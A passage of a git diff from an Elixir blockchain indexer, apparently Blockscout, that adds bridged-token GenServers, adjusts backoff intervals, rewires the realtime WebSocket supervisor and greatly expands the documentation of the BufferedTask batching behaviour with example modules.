address_hash, block_number: block_number} -> - %{hash_data: address_hash, block_quantity: integer_to_quantity(block_number)} - end) + async_import_uncles(imported, realtime?) + async_import_replaced_transactions(imported, realtime?) + async_import_blobs(imported, realtime?) + async_import_polygon_zkevm_bridge_l1_tokens(imported) + async_import_celo_epoch_block_operations(imported, realtime?) + async_import_filecoin_addresses_info(imported, realtime?) + async_import_signed_authorizations_statuses(imported, realtime?) end end diff --git a/apps/indexer/lib/indexer/block/realtime/supervisor.ex b/apps/indexer/lib/indexer/block/realtime/supervisor.ex index 9a7f2b29c815..9a3d3b184a56 100644 --- a/apps/indexer/lib/indexer/block/realtime/supervisor.ex +++ b/apps/indexer/lib/indexer/block/realtime/supervisor.ex @@ -20,16 +20,13 @@ defmodule Indexer.Block.Realtime.Supervisor do web_socket = Indexer.Block.Realtime.WebSocket web_socket_options = %EthereumJSONRPC.WebSocket.WebSocketClient.Options{web_socket: web_socket} transport_options = %EthereumJSONRPC.WebSocket{transport_options | web_socket_options: web_socket_options} - %EthereumJSONRPC.WebSocket{url: url, web_socket: web_socket_module} = transport_options - - keepalive = Keyword.get(subscribe_named_arguments, :keep_alive, :timer.seconds(150)) block_fetcher_subscribe_named_arguments = put_in(subscribe_named_arguments[:transport_options], transport_options) [ {Task.Supervisor, name: Indexer.Block.Realtime.TaskSupervisor}, - {web_socket_module, [url, [keepalive: keepalive], [name: web_socket]]}, + {EthereumJSONRPC.WebSocket.Supervisor, transport_options}, {Indexer.Block.Realtime.Fetcher, [ %{block_fetcher: block_fetcher, subscribe_named_arguments: block_fetcher_subscribe_named_arguments}, diff --git a/apps/indexer/lib/indexer/bound_interval.ex b/apps/indexer/lib/indexer/bound_interval.ex index 2b09b5c0972e..3ccfdfd2969c 100644 --- a/apps/indexer/lib/indexer/bound_interval.ex +++ b/apps/indexer/lib/indexer/bound_interval.ex @@ -8,7 +8,7 @@ defmodule Indexer.BoundInterval do current: 1, maximum: nil - def within(minimum..maximum) when is_integer(minimum) and is_integer(maximum) and minimum <= maximum do + def within(minimum..maximum//_) when is_integer(minimum) and is_integer(maximum) and minimum <= maximum do %__MODULE__{minimum: minimum, current: minimum, maximum: maximum} end @@ -17,6 +17,7 @@ defmodule Indexer.BoundInterval do new_current = current |> div(2) + |> Kernel.-(:timer.seconds(1)) |> max(minimum) %__MODULE__{bound_interval | current: new_current} @@ -24,7 +25,7 @@ defmodule Indexer.BoundInterval do def increase(%__MODULE__{current: current, maximum: maximum} = bound_interval) when is_integer(current) and is_integer(maximum) do - new_current = min(current * 2, maximum) + new_current = min(current * 2 + :timer.seconds(1), maximum) %__MODULE__{bound_interval | current: new_current} end diff --git a/apps/indexer/lib/indexer/bridged_tokens/calc_lp_tokens_total_liquidity.ex b/apps/indexer/lib/indexer/bridged_tokens/calc_lp_tokens_total_liquidity.ex new file mode 100644 index 000000000000..fabf22e75dcf --- /dev/null +++ b/apps/indexer/lib/indexer/bridged_tokens/calc_lp_tokens_total_liquidity.ex @@ -0,0 +1,52 @@ +defmodule Indexer.BridgedTokens.CalcLpTokensTotalLiquidity do + @moduledoc """ + Periodically updates LP tokens total liquidity + """ + + use GenServer + + require Logger + + alias Explorer.Chain.BridgedToken + + @interval :timer.minutes(20) + + def start_link([init_opts, gen_server_opts]) do + start_link(init_opts, gen_server_opts) + end + + def start_link(init_opts, gen_server_opts) do + GenServer.start_link(__MODULE__, init_opts, gen_server_opts) + end + + @impl GenServer + def init(opts) do + interval = opts[:interval] || @interval + + Process.send_after(self(), :calc_total_liquidity, interval) + + {:ok, %{interval: interval}} + end + + @impl GenServer + def handle_info(:calc_total_liquidity, %{interval: interval} = state) do + Logger.debug(fn -> "Calc LP tokens total liquidity" end) + + calc_total_liquidity() + + Process.send_after(self(), :calc_total_liquidity, interval) + + {:noreply, state} + end + + # don't handle other messages (e.g. :ssl_closed) + def handle_info(_, state) do + {:noreply, state} + end + + defp calc_total_liquidity do + BridgedToken.calc_lp_tokens_total_liquidity() + + Logger.debug(fn -> "Total liquidity fetched for LP tokens" end) + end +end diff --git a/apps/indexer/lib/indexer/bridged_tokens/set_amb_bridged_metadata_for_tokens.ex b/apps/indexer/lib/indexer/bridged_tokens/set_amb_bridged_metadata_for_tokens.ex new file mode 100644 index 000000000000..02fcaa970502 --- /dev/null +++ b/apps/indexer/lib/indexer/bridged_tokens/set_amb_bridged_metadata_for_tokens.ex @@ -0,0 +1,44 @@ +defmodule Indexer.BridgedTokens.SetAmbBridgedMetadataForTokens do + @moduledoc """ + Sets token metadata for bridged tokens from AMB extensions. + """ + + use GenServer + + require Logger + + alias Explorer.Chain.BridgedToken + + def start_link([init_opts, gen_server_opts]) do + start_link(init_opts, gen_server_opts) + end + + def start_link(init_opts, gen_server_opts) do + GenServer.start_link(__MODULE__, init_opts, gen_server_opts) + end + + @impl GenServer + def init(_opts) do + send(self(), :process_amb_tokens) + + {:ok, %{}} + end + + @impl GenServer + def handle_info(:process_amb_tokens, state) do + fetch_amb_bridged_tokens_metadata() + + {:noreply, state} + end + + # don't handle other messages (e.g. :ssl_closed) + def handle_info(_, state) do + {:noreply, state} + end + + defp fetch_amb_bridged_tokens_metadata do + :ok = BridgedToken.process_amb_tokens() + + Logger.debug(fn -> "Bridged status fetched for AMB tokens" end) + end +end diff --git a/apps/indexer/lib/indexer/bridged_tokens/set_omni_bridged_metadata_for_tokens.ex b/apps/indexer/lib/indexer/bridged_tokens/set_omni_bridged_metadata_for_tokens.ex new file mode 100644 index 000000000000..e6ba7afc3cb2 --- /dev/null +++ b/apps/indexer/lib/indexer/bridged_tokens/set_omni_bridged_metadata_for_tokens.ex @@ -0,0 +1,54 @@ +defmodule Indexer.BridgedTokens.SetOmniBridgedMetadataForTokens do + @moduledoc """ + Periodically checks unprocessed tokens and sets bridged status. + """ + + use GenServer + + require Logger + + alias Explorer.Chain.BridgedToken + + @interval :timer.minutes(20) + + def start_link([init_opts, gen_server_opts]) do + start_link(init_opts, gen_server_opts) + end + + def start_link(init_opts, gen_server_opts) do + GenServer.start_link(__MODULE__, init_opts, gen_server_opts) + end + + @impl GenServer + def init(opts) do + interval = opts[:interval] || @interval + + send(self(), :reveal_unprocessed_tokens) + + {:ok, %{interval: interval}} + end + + @impl GenServer + def handle_info(:reveal_unprocessed_tokens, %{interval: interval} = state) do + Logger.debug(fn -> "Reveal unprocessed tokens" end) + + {:ok, token_addresses} = BridgedToken.unprocessed_token_addresses_to_reveal_bridged_tokens() + + fetch_omni_bridged_tokens_metadata(token_addresses) + + Process.send_after(self(), :reveal_unprocessed_tokens, interval) + + {:noreply, state} + end + + # don't handle other messages (e.g. :ssl_closed) + def handle_info(_, state) do + {:noreply, state} + end + + defp fetch_omni_bridged_tokens_metadata(token_addresses) do + :ok = BridgedToken.fetch_omni_bridged_tokens_metadata(token_addresses) + + Logger.debug(fn -> "Bridged status fetched for tokens" end) + end +end diff --git a/apps/indexer/lib/indexer/buffered_task.ex b/apps/indexer/lib/indexer/buffered_task.ex index f1244e9753b3..a8d055de0265 100644 --- a/apps/indexer/lib/indexer/buffered_task.ex +++ b/apps/indexer/lib/indexer/buffered_task.ex @@ -1,51 +1,301 @@ defmodule Indexer.BufferedTask do @moduledoc """ - Provides a behaviour for batched task running with retries. + Provides a behaviour for batched task running with retries and memory-aware buffering. + + This module implements a generic buffered task system that allows for efficient + processing of data in batches. It manages a queue of entries, processes them + concurrently up to a specified limit, and provides mechanisms for retrying + failed tasks. The module is designed to be memory-aware, with the ability to + shrink its memory usage when requested by a memory monitor. + + The `BufferedTask` operates as follows: + + 1. Initialization: + When a module implementing the `BufferedTask` behaviour is started as part of + a supervision tree, it must use `BufferedTask.child_spec/1` to define its + child specification. This ensures that `BufferedTask.start_link/2` is called + correctly, initializing the `BufferedTask` process with the implementing + module's options. During this initialization, the periodic flushing of + buffers to the processing queue is also set up, establishing an automated + cycle of data processing. + + 2. Initial Data Streaming: + Upon initialization, the `BufferedTask` sends itself an `:initial_stream` + message. This triggers a call to the `init/3` callback of the implementing + module, populating the queue with initial data. + + 3. Data Processing Flow: + a. Data Entry: + - External processes can add entries to the buffer using the `buffer/4` + function. This function allows for both synchronous and asynchronous + buffering of entries, with an option to prioritize entries. + b. Flushing: + - Periodically, based on the `flush_interval`, or when manually triggered, + the buffered entries are moved to the main processing queue. This + flushing process automatically triggers the processing of the next + batch of queue data, ensuring continuous data handling without manual + intervention. + c. Batch Processing: + - As concurrency becomes available (controlled by `max_concurrency`), + batches of entries (size determined by `max_batch_size`) are taken from + the queue and processed by spawning tasks that call the `run/2` callback + of the implementing module. + d. Retry Mechanism: + - If a task fails or explicitly requests a retry, the entries are + re-added to the queue for another processing attempt. + + The entire process of periodic flushing, batch processing, and retry handling + is automated, requiring no manual management once the `BufferedTask` is + initialized. This design ensures efficient and continuous data processing with + minimal overhead. + + The `BufferedTask` is designed to be memory-aware and can interact with a + memory monitor to adjust its memory usage when system resources are constrained. + It also provides debugging capabilities to monitor its internal state and + performance. + + ## Initialization Parameters + + The following parameters are passed to `BufferedTask.init/1` through + `BufferedTask.child_spec/1` and `BufferedTask.start_link/2`: + + - `:callback_module`: Required. The module implementing the `BufferedTask` + behaviour. + - `:task_supervisor`: Required. The name of the `Task.Supervisor` to spawn + tasks under. + - `:flush_interval`: Required. The interval in milliseconds between automatic + queue flushes. Set to `:infinity` to disable automatic flushing. + - `:max_batch_size`: Required. The maximum number of entries to be processed + in a single batch. + - `:max_concurrency`: Required. The maximum number of concurrent processing + tasks allowed. + - `:memory_monitor`: Optional. The `Indexer.Memory.Monitor` server to register + with for memory-aware operations. + - `:poll`: Optional. Boolean flag to enable/disable polling for new data after + processing all current entries. Defaults to `true`. + - `:state`: Required. Initial state for the callback module. This can include + any parameters or initial values required for proper functioning of `init` + and `run` callbacks. + - `:metadata`: Optional. Logger metadata to set in the `BufferedTask` process + and its child processes. - ## Named Arguments + ## Callbacks - Named arguments are required and are passed in the list that is the second element of the tuple. + ### `c:init/3` - * `:flush_interval` - The interval in milliseconds to flush the buffer. - * `:max_concurrency` - The maximum number of tasks to run concurrently at any give time. - * `:poll` - poll for new records when all records are processed - * `:max_batch_size` - The maximum batch passed to `c:run/2`. - * `:memory_monitor` - The `Indexer.Memory.Monitor` `t:GenServer.server/0` to register as - `Indexer.Memory.Monitor.shrinkable/0` with. - * `:task_supervisor` - The `Task.Supervisor` name to spawn tasks under. + @callback init(initial, reducer, state) :: {final, state} - ## Options + This callback is invoked during the initial streaming process to populate the + queue with initial data. It runs in a separate task, allowing for long-running + operations without blocking the main `BufferedTask` process. - Options are optional and are passed in the list that is second element of the tuple. + - `initial`: An opaque value representing the initial accumulator. Its structure + and content are fully controlled by the `reducer` function, so there's no need + to handle this parameter specifically within the `init/3` callback. + - `reducer`: A function that accumulates entries into the `BufferedTask`'s + internal buffers. + - `state`: The initial state provided during initialization. - * `:name` - The registered name for the new process. + The `init/3` callback should use the `reducer` function to add entries to the + `BufferedTask`'s buffers. The `BufferedTask` will automatically manage these + entries, flushing them to the main processing queue and initiating batch + processing as needed. - ## Callbacks + ### `c:run/2` + + @callback run(entries, state) :: :ok | {:ok, state} | :retry | {:retry, new_entries :: list} | {:retry, new_entries :: list, state} + + This callback is invoked as concurrency becomes available to process batches + of entries from the queue. It is called within a task spawned by the + `Task.Supervisor` specified during initialization. + + - `entries`: A list of entries to be processed, with a maximum length of + `:max_batch_size`. + - `state`: The current state of the callback module. + + The `run/2` callback processes the given entries and returns one of the following + possible results: + + - `:ok`: Indicates successful processing. + - `{:ok, state}`: Indicates successful processing and requests an update to + the callback module state. + - `:retry`: Signals that the entire batch should be retried. + - `{:retry, new_entries}`: Specifies a new list of entries to be retried. This + can be a completely new list of entries or a subset of entries which were not + successfully handled by `run/2` in this iteration. + - `{:retry, new_entries, state}`: Specifies a new list of entries to be retried + and requests an update to the callback module state. + + If the callback crashes, the `BufferedTask` will automatically retry the batch. + The retry mechanism ensures resilience in data processing, allowing for + temporary failures or resource unavailability to be handled gracefully. + + The `BufferedTask` manages concurrency, ensuring that no more than + `:max_concurrency` `run/2` callbacks are executing simultaneously. This + provides controlled parallelism while preventing system overload. + + ## Examples + + ### Typical Usage + + Here's a comprehensive example of a module implementing the BufferedTask behaviour + for processing random integers: + + defmodule NumberProcessor do + # Will generate the Supervisor and TaskSupervisor for NumberProcessor + use Indexer.Fetcher, restart: :permanent - `c:init/2` is used for a task to populate its buffer on boot with an initial set of entries. + alias Indexer.BufferedTask - For example, the following callback would buffer all unfetched account balances on startup: + def child_spec([init_options, gen_server_options]) do + state = %{initial_count: 50} - def init(initial, reducer) do - Chain.stream_unfetched_balances([:hash], initial, fn %{hash: hash}, acc -> - reducer.(Hash.to_string(hash), acc) - end) + buffered_task_init_options = + [ + poll: false, + flush_interval: 5000, + max_batch_size: 10, + max_concurrency: 2, + task_supervisor: NumberProcessor.TaskSupervisor, + metadata: [task: :number_processor] + ] + |> Keyword.merge(init_options) + |> Keyword.put(:state, state) + + Supervisor.child_spec( + {BufferedTask, [{__MODULE__, buffered_task_init_options}, gen_server_options]}, + id: __MODULE__ + ) + end + + @impl BufferedTask + def init(initial, reducer, %{initial_count: count}) do + Enum.reduce(1..count, initial, fn _, acc -> + number = :rand.uniform(1000) + reducer.(number, acc) + end) + end + + @impl BufferedTask + def run(numbers, _state) do + Enum.each(numbers, fn number -> + result = if rem(number, 2) == 0, do: "even", else: "odd" + IO.puts("Number \#{number} is \#{result}") + end) + :ok + end + + def add_numbers(count, high_priority?) do + numbers = Enum.map(1..count, fn _ -> :rand.uniform(1000) end) + BufferedTask.buffer(__MODULE__, numbers, high_priority?) + end end - `c:init/2` may be long-running and allows concurrent calls to `Explorer.BufferedTask.buffer/2` for on-demand entries. - As concurrency becomes available, `c:run/2` of the task is invoked, with a list of batched entries to be processed. + To use this module in your application's supervision tree: + + children = [ + {NumberProcessor.Supervisor, [[memory_monitor: memory_monitor]]} + ] + + Supervisor.init(children, strategy: :one_for_one) + + This setup assumes you have a memory_monitor defined elsewhere in your application. - For example, the `c:run/2` for above `c:init/2` could be written: + To add more numbers to the buffer after initialization: - def run(string_hashes, _state) do - case EthereumJSONRPC.fetch_balances_by_hash(string_hashes) do - {:ok, results} -> :ok = update_balances(results) - {:error, _reason} -> :retry + NumberProcessor.add_numbers(20, false) # Add 20 numbers with normal priority + NumberProcessor.add_numbers(5, true) # Add 5 numbers with high priority + + ### Minimal Init and Retry Example + + This example demonstrates two key features of BufferedTask: a minimal `init/3` + callback that simply passes through the initial state and use of `{:retry, new_entries}` + in the `run/2` callback for task rescheduling. + + defmodule TaskScheduler do + use Indexer.Fetcher, restart: :permanent + + alias Indexer.BufferedTask + + def child_spec([init_options, gen_server_options]) do + state = %{max_retries: 3} + + buffered_task_init_options = + [ + poll: false, + flush_interval: 1000, + max_batch_size: 10, + max_concurrency: 5, + task_supervisor: TaskScheduler.TaskSupervisor, + metadata: [fetcher: :task_scheduler] + ] + |> Keyword.merge(init_options) + |> Keyword.put(:state, state) + + Supervisor.child_spec( + {BufferedTask, [{__MODULE__, buffered_task_init_options}, gen_server_options]}, + id: __MODULE__ + ) + end + + @impl BufferedTask + def init(initial, _reducer, _state) do + initial + end + + @impl BufferedTask + def run(tasks, %{max_retries: max_retries} = state) do + now = System.system_time(:millisecond) + {due_tasks, future_tasks} = Enum.split_with(tasks, &(&1.at <= now)) + + new_future_tasks = Enum.map(due_tasks, fn task -> + case execute_task(task) do + :ok -> nil + :error -> + retry_count = Map.get(task, :retry_count, 0) + if retry_count < max_retries do + %{task | retry_count: retry_count + 1} + end + end + end) + |> Enum.reject(&is_nil/1) + + case future_tasks ++ new_future_tasks do + [] -> :ok + remaining_tasks -> {:retry, remaining_tasks} + end + end + + defp execute_task(%{fun: fun, args: args}) do + try do + apply(fun, args) + :ok + rescue + _ -> :error + end + end + + def schedule_task(at, fun, args) do + task = %{at: at, fun: fun, args: args} + BufferedTask.buffer(__MODULE__, [task], false) end end - If a task crashes, it will be retried automatically. Tasks may also be programmatically retried by returning `:retry` - from `c:run/2`. + To use this module in your application's supervision tree: + + children = [ + {TaskScheduler.Supervisor, [[memory_monitor: memory_monitor]]} + ] + + Supervisor.init(children, strategy: :one_for_one) + + To schedule a new task: + + TaskScheduler.schedule_task( + System.system_time(:millisecond) + 5000, + fn -> IO.puts("Hello from the future!") end, + [] + ) """ use GenServer @@ -54,7 +304,8 @@ defmodule Indexer.BufferedTask do import Indexer.Logger, only: [process: 1] - alias Indexer.{BoundQueue, BufferedTask, Memory} + alias Explorer.BoundQueue + alias Indexer.Memory @enforce_keys [ :callback_module, @@ -71,12 +322,85 @@ defmodule Indexer.BufferedTask do flush_interval: nil, max_batch_size: nil, max_concurrency: nil, - poll: false, + poll: true, metadata: [], current_buffer: [], + current_front_buffer: [], bound_queue: %BoundQueue{}, task_ref_to_batch: %{} + @typedoc """ + BufferedTask struct: + * `init_task` - reference to the initial streaming task. This field holds the + `Task.t()` for the initial data population process. It's used to track the + completion of the initial data streaming. + * `flush_timer` - reference to the timer for periodic buffer flushing. This + field stores the timer reference returned by `Process.send_after/3`, which + is scheduled using the `flush_interval`. When the timer triggers, it sends + a `:flush` message to the process, initiating a buffer flush operation. + This field is managed internally and doesn't need to be set by the user. + * `callback_module` - module implementing the `BufferedTask` behaviour. This + field must be set when initializing the `BufferedTask`. It specifies the + module that defines the `init/3` and `run/2` callbacks, which are crucial + for the operation of the buffered task. + * `callback_module_state` - state maintained by the callback module. This + field holds any state that the callback module needs to persist between + calls to its callbacks. It's passed to and potentially updated by the + `run/2` callback. + * `task_supervisor` - name of the `Task.Supervisor` for spawning tasks. This + field must be set during initialization. It's used to spawn concurrent + tasks for processing batches of data, allowing for controlled + concurrency. + * `flush_interval` - interval in milliseconds between buffer flushes. This + field must be set during initialization. It determines how often the + buffer is automatically flushed, ensuring that data is processed even + if the buffer doesn't fill up quickly. If set to `:infinity`, no automatic + flushing occurs - it can be used for when manual flushing is preferred by + sending a `:flush` message to the process. + * `max_batch_size` - maximum number of entries in a batch for processing. + This field must be set during initialization. It controls the size of + batches sent to the `run/2` callback, allowing for optimized processing + of data. + * `max_concurrency` - maximum number of concurrent processing tasks. This + field must be set during initialization. It limits the number of + simultaneous `run/2` callback executions, preventing system overload. + * `poll` - boolean flag to enable/disable polling for new records. This field + has a default value of true. When true, the module will continue to call + `init/3` to fetch new data after processing all current entries. + * `metadata` - list of metadata for logging purposes. This field can be set + during initialization. It's used to add context to log messages, + improving the traceability of the buffered task's operations. + * `current_buffer` - list of entries waiting to be processed. This field is + used internally to store incoming entries before they're moved to the + bound_queue for processing. Acts as a temporary holding area for + incoming data. + * `current_front_buffer` - list of high-priority entries for processing. These + entries are moved to the front of the bound_queue during flushing. + * `bound_queue` - queue with a maximum size limit for storing entries. This + field uses a `BoundQueue` struct to efficiently manage entries while + respecting memory constraints. + * `task_ref_to_batch` - map of task references to their corresponding batches. + This field is used internally to keep track of which batch is being + processed by each spawned task, facilitating proper handling of task + results and retries. + """ + @type t :: %__MODULE__{ + init_task: Task.t() | :complete | nil, + flush_timer: reference() | nil, + callback_module: module(), + callback_module_state: term(), + task_supervisor: GenServer.name(), + flush_interval: timeout() | :infinity, + max_batch_size: non_neg_integer(), + max_concurrency: non_neg_integer(), + poll: boolean(), + metadata: Logger.metadata(), + current_buffer: [term(), ...], + current_front_buffer: [term(), ...], + bound_queue: BoundQueue.t(term()), + task_ref_to_batch: %{reference() => [term(), ...]} + } + @typedoc """ Entry passed to `t:reducer/2` in `c:init/2` and grouped together into a list as `t:entries/0` passed to `c:run/2`. """ @@ -111,55 +435,106 @@ defmodule Indexer.BufferedTask do @type state :: term() @doc """ - Populates a task's buffer on boot with an initial set of entries. - - For example, the following callback would buffer all unfetched account balances on startup: - - def init(initial, reducer, state) do - final = Chain.stream_unfetched_balances([:hash], initial, fn %{hash: hash}, acc -> - reducer.(Hash.to_string(hash), acc) - end) - - {final, state} - end - - The `init/2` operation may be long-running as it is run in a separate process and allows concurrent calls to - `Explorer.BufferedTask.buffer/2` for on-demand entries. + This callback is invoked during the initial streaming process to populate the + queue with initial data. It runs in a separate task, allowing for long-running + operations without blocking the main `BufferedTask` process. + + - `initial`: An opaque value representing the initial accumulator. Its structure + and content are fully controlled by the `reducer` function, so there's no need + to handle this parameter specifically within the `init/3` callback. + - `reducer`: A function that accumulates entries into the `BufferedTask`'s + internal buffers. + - `state`: The initial state provided during initialization. + + The `init/3` callback should use the `reducer` function to add entries to the + `BufferedTask`'s buffers. The `BufferedTask` will automatically manage these + entries, flushing them to the main processing queue and initiating batch + processing as needed. """ @callback init(initial, reducer, state) :: accumulator @doc """ - Invoked as concurrency becomes available with a list of batched entries to be processed. - - For example, the `c:run/2` callback for the example `c:init/2` callback could be written: - - def run(string_hashes, _state) do - case EthereumJSONRPC.fetch_balances_by_hash(string_hashes) do - {:ok, results} -> :ok = update_balances(results) - {:error, _reason} -> :retry - end - end - - If a task crashes, it will be retried automatically. Tasks may also be programmatically retried by returning `:retry` - from `c:run/2`. - - ## Returns - - * `:ok` - run was successful - * `:retry` - run should be retried after it failed - * `{:retry, new_entries :: list}` - run should be retried with `new_entries` - + This callback is invoked as concurrency becomes available to process batches + of entries from the queue. It is called within a task spawned by the + `Task.Supervisor` specified during initialization. + + - `entries`: A list of entries to be processed, with a maximum length of + `:max_batch_size`. + - `state`: The current state of the callback module. + + The `run/2` callback processes the given entries and returns one of the following + possible results: + + - `:ok`: Indicates successful processing. + - `{:ok, state}`: Indicates successful processing and requests an update to + the callback module state. + - `:retry`: Signals that the entire batch should be retried. + - `{:retry, new_entries}`: Specifies a new list of entries to be retried. This + can be a completely new list of entries or a subset of entries which were not + successfully handled by `run/2` in this iteration. + - `{:retry, new_entries, state}`: Specifies a new list of entries to be retried + and requests an update to the callback module state. + + If the callback crashes, the `BufferedTask` will automatically retry the batch. + The retry mechanism ensures resilience in data processing, allowing for + temporary failures or resource unavailability to be handled gracefully. + + The `BufferedTask` manages concurrency, ensuring that no more than + `:max_concurrency` `run/2` callbacks are executing simultaneously. This + provides controlled parallelism while preventing system overload. """ - @callback run(entries, state) :: :ok | :retry | {:retry, new_entries :: list} + @callback run(entries, state) :: + :ok | {:ok, state} | :retry | {:retry, new_entries :: list} | {:retry, new_entries :: list, state} @doc """ - Buffers list of entries for future async execution. + Buffers a list of entries for future execution. + + This function sends a message to the specified BufferedTask process to add the + given entries to one of two internal buffers: + 1. The regular buffer, if `front?` is `false`. + 2. The front buffer, if `front?` is `true`. + + When the buffers are later flushed asynchronously: + - Entries from the regular buffer are added to the end of the processing queue. + - Entries from the front buffer are added to the beginning of the processing queue. + + Note: If the total number of elements in the buffers exceeds the maximum queue + size (which is undefined by default) when flushed, excess elements will be + dropped without notification to the calling process. + + ## Parameters + - `server`: The name or PID of the BufferedTask process. + - `entries`: A list of entries to be buffered. + - `front?`: If `true`, entries are added to the front buffer; if `false`, + they are added to the regular buffer. + - `timeout`: The maximum time to wait for a reply, in milliseconds. Defaults to + 5000 ms. + + ## Returns + - `:ok` if the entries were successfully added to the appropriate buffer. """ - @spec buffer(GenServer.name(), entries(), timeout()) :: :ok - def buffer(server, entries, timeout \\ 5000) when is_list(entries) do - GenServer.call(server, {:buffer, entries}, timeout) + @spec buffer(GenServer.name(), entries(), boolean()) :: :ok + @spec buffer(GenServer.name(), entries(), boolean(), timeout()) :: :ok + def buffer(server, entries, front?, timeout \\ 5000) when is_list(entries) do + GenServer.call(server, {:buffer, entries, front?}, timeout) end + @doc """ + Defines a child specification for a BufferedTask to be used in a supervision tree. + + ## Parameters + - `[init_arguments]` or `[init_arguments, gen_server_options]`: + - `init_arguments`: A list of initialization arguments for the BufferedTask. + - `gen_server_options`: An optional list of GenServer options. + + ## Returns + A child specification map suitable for use in a supervision tree. + + ## Usage + This function is typically called indirectly as part of the `child_spec/1` + function of a module implementing the BufferedTask behavior. It's not intended + to be called directly in application code. + """ def child_spec([init_arguments]) do child_spec([init_arguments, []]) end @@ -173,33 +548,64 @@ defmodule Indexer.BufferedTask do Supervisor.child_spec(default, []) end - @doc false + @doc """ + Retrieves debug information about the current state of the BufferedTask. + + Returns a map containing the total number of entries in buffers and queue, + and the number of active tasks. This function is useful for monitoring and + debugging the BufferedTask's internal state. + + ## Parameters + - `server`: The name or PID of the BufferedTask process. + + ## Returns + A map with keys `:buffer` (total entries count) and `:tasks` (active tasks count). + """ + @spec debug_count(GenServer.name()) :: %{buffer: non_neg_integer(), tasks: non_neg_integer()} def debug_count(server) do GenServer.call(server, :debug_count) end @doc """ - Starts `callback_module` as a buffered task. + Starts a `BufferedTask` process for the given callback module. - Takes a tuple of the callback module and list of named arguments and options, much like the format accepted for - `Supervisor.start_link/2`, `Supervisor.init/2` and `Supervisor.child_spec/2`. + This function is generally not called directly in application code. Instead, + it's used in the context of a supervision tree, typically invoked through + the `child_spec/1` function of a module implementing the BufferedTask behavior. + It initializes a BufferedTask process and ultimately leads to calling + `BufferedTask.init/1`. - ## Named Arguments + ## Parameters + The function takes a tuple with two elements: + 1. `callback_module`: The module implementing the `BufferedTask` behavior. + 2. A keyword list of options, which is a merge of application-wide defaults + and task-specific options. - Named arguments are required and are passed in the list that is the second element of the tuple. + ### Named Arguments + These are required and should be included in the options list: * `:flush_interval` - The interval in milliseconds to flush the buffer. - * `:max_concurrency` - The maximum number of tasks to run concurrently at any give time. - * `:max_batch_size` - The maximum batch passed to `c:run/2`. + * `:max_concurrency` - The maximum number of tasks to run concurrently. + * `:max_batch_size` - The maximum batch size passed to `c:run/2`. * `:task_supervisor` - The `Task.Supervisor` name to spawn tasks under. + * `:state` - Initial state for the callback module. - ## Options - - Options are optional and are passed in the list that is second element of the tuple. + ### Options + These are optional and can be included in the options list: * `:name` - The registered name for the new process. - * `:metadata` - `Logger.metadata/1` to det in teh `Indexer.BufferedTask` process and any child processes. - + * `:metadata` - `Logger.metadata/1` to set in the `BufferedTask` process + and any child processes. + * `:memory_monitor` - The memory monitor process name, if applicable. + + ## Returns + * `{:ok, pid()}` if the process starts successfully. + * `{:error, {:already_started, pid()}}` if the process is already started. + + ## Note + The options passed to this function are a merge of application-wide defaults + (retrieved from `Application.get_all_env(:indexer)`) and the task-specific + options provided when setting up the fetcher. """ @spec start_link( {callback_module :: module, @@ -216,22 +622,53 @@ defmodule Indexer.BufferedTask do def start_link({module, base_init_opts}, genserver_opts \\ []) do default_opts = Application.get_all_env(:indexer) init_opts = Keyword.merge(default_opts, base_init_opts) - GenServer.start_link(__MODULE__, {module, init_opts}, genserver_opts) end + @doc """ + Initializes the BufferedTask process. + + This function accepts parameters passed from `start_link/2`, sends an + `:initial_stream` message to self to start the initial streaming process, + sets up the process as shrinkable if a memory monitor is provided, sets + Logger metadata, and configures the initial state of `BufferedTask` + including the state of a module implementing the BufferedTask behavior. + + ## Parameters + - `{callback_module, opts}`: A tuple containing: + - `callback_module`: The module implementing the BufferedTask behavior. + - `opts`: A keyword list of options for initializing the BufferedTask. + + ## Options + - `:state`: Required. The initial state for the callback module. + - `:task_supervisor`: Required. The name of the Task.Supervisor. + - `:flush_interval`: Required. The interval for flushing the buffer to the + processing queue. + - `:max_batch_size`: Required. The maximum size of the queue's data batch + to be processed at once. + - `:max_concurrency`: Required. The maximum number of concurrent tasks to + process the queue's data. + - `:poll`: Optional. Whether to poll for new data from the stream after + processing all current data. Defaults to `true`. + - `:metadata`: Optional. Logger metadata. Defaults to an empty list. + + ## Returns + `{:ok, state}` where `state` is the initialized BufferedTask struct. + """ def init({callback_module, opts}) do send(self(), :initial_stream) + # Allows the memory monitor to shrink the amount of elements in the queue + # when extensive memory usage is detected. shrinkable(opts) metadata = Keyword.get(opts, :metadata, []) Logger.metadata(metadata) - state = %BufferedTask{ + state = %__MODULE__{ callback_module: callback_module, callback_module_state: Keyword.fetch!(opts, :state), - poll: Keyword.get(opts, :poll, false), + poll: Keyword.get(opts, :poll, true), task_supervisor: Keyword.fetch!(opts, :task_supervisor), flush_interval: Keyword.fetch!(opts, :flush_interval), max_batch_size: Keyword.fetch!(opts, :max_batch_size), @@ -242,61 +679,128 @@ defmodule Indexer.BufferedTask do {:ok, state} end + # Initiates the initial data streaming process in response to the :initial_stream + # message. This message is self-sent during initialization to start populating + # the queue with initial data using the `init/3` function of the callback module. def handle_info(:initial_stream, state) do {:noreply, do_initial_stream(state)} end + # Handles the periodic flush message to process buffered entries. + # This message is scheduled by the flush_interval to ensure regular processing of + # accumulated data, pushing it to the queue and triggering batch processing. def handle_info(:flush, state) do {:noreply, flush(state)} end - def handle_info({ref, :ok}, %{init_task: ref} = state) do + # Handles the successful completion of the initial streaming task. + def handle_info({ref, :ok}, %__MODULE__{init_task: ref} = state) do {:noreply, state} end + # Handles the successful completion of a task processing queue data, removes the + # reference to the task, and triggers processing of the next batch if queue + # contains data. def handle_info({ref, :ok}, state) do {:noreply, drop_task(state, ref)} end + # Handles the successful completion of a task processing queue data, updated the + # callback module state, removes the reference to the task, and triggers processing + # of the next batch if queue contains data. + def handle_info({ref, {:ok, new_callback_module_state}}, state) do + {:noreply, drop_task(%__MODULE__{state | callback_module_state: new_callback_module_state}, ref)} + end + + # Handles a retry request for a task processing queue data. The original batch + # is added back to the queue and processing of the next batch is triggered. + # Useful when all data from the batch needs to be reprocessed. def handle_info({ref, :retry}, state) do {:noreply, drop_task_and_retry(state, ref)} end + # Handles a retry request for a task processing queue data with specified + # retryable entries. These entries are added to the queue and processing of + # the next batch is triggered. Useful when only part of the original batch + # needs to be reprocessed. def handle_info({ref, {:retry, retryable_entries}}, state) do {:noreply, drop_task_and_retry(state, ref, retryable_entries)} end - def handle_info({:DOWN, ref, :process, _pid, :normal}, %BufferedTask{init_task: ref} = state) do - 